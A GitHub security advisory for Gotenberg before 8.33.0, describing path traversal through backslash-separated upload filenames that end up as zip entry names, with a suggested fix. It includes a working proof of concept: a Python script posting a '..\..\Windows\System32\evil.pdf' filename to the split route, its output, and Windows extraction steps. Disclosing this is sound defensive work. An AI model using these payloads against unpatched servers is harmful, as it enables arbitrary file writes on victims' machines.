GHSA-hwc4-gmrw-5222 Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

• Go github.com/gotenberg/gotenberg/v8: < 8.33.0 → fixed in 8.33.0

Summary `filepath.Base` on the Linux container does not strip backslashes (`\`), because `\` is only a path separator on Windows. A multipart filename like `..\..\..\..\Windows\System32\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\` as a path separator and write the file outside the extraction directory. Details `pkg/modules/api/context.go:434, 472`: ```go filename := norm.NFC.String(filepath.Base(fh.Filename)) ``` On Linux, `filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds: ```go originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName)) newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i) ctx.RegisterDiskPath(newPath, newOriginal) ``` Finally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/[email protected]/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, "")` — the map value verbatim. Suggested fix ```diff • filename := norm.NFC.String(filepath.Base(fh.Filename)) + filename := sanitizeFilename(fh.Filename) + + func sanitizeFilename(name string) string { + if i := strings.LastIndexAny(name, "/\\"); i >= 0 { + name = name[i+1:] + } + name = norm.NFC.String(name) + // Optional belt-and-braces: + name = strings.ReplaceAll(name, "..", "_") + name = strings.Map(func(r rune) rune { + if r /dev/null docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0 i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done Stub PDF. printf '%%PDF-1.4\n1 0 obj>endobj\n2 0 obj>endobj\n3 0 obj>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer>\nstartxref\n158\n%%%%EOF\n' > stub.pdf Step 1: produce a 2-page PDF so /split returns multiple entries. curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \ -F '[email protected];filename=a.pdf' \ -F '[email protected];filename=b.pdf' Step 2: split, declaring the multipart filename as a Windows path-traversal payload. python3 - <<'PY' import requests, zipfile, binascii fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf' files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')} data = {'splitMode': 'intervals', 'splitSpan': '1'} r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data) print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}') open('split.zip', 'wb').write(r.content) z = zipfile.ZipFile('split.zip') print('--- zip entries (orig_filename) ---') for info in z.infolist(): print(f' {info.orig_filename!r}') Show raw central-directory bytes to prove backslashes are on the wire: data = open('split.zip', 'rb').read() idx = data.find(b'PK\x01\x02') print('--- raw central-dir hex around filename ---') print(f' {binascii.hexlify(data[idx:idx+80]).decode()}') PY docker stop gotenberg-audit ``` Observed output: ``` HTTP=200 ctype=application/zip bytes=24750 --- zip entries (orig_filename) --- '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf' '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf' --- raw central-dir hex around filename --- 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f ``` The trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\..\..\..\Windows\System32\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.) To see the Windows-side traversal effect on a Windows host, run: ```powershell Expand-Archive -Path .\split.zip -DestinationPath .\out -Force Get-ChildItem .\out -Recurse → out\Windows\System32\evil_0.pdf → out\Windows\System32\evil_1.pdf ``` PowerShell collapses the `..` parents but creates the `Windows\System32\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely. Impact • Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`). • Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`. • Also reachable via `downloadFrom` upstream `Content-Disposition: filename="..\\..\\evil.exe"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.
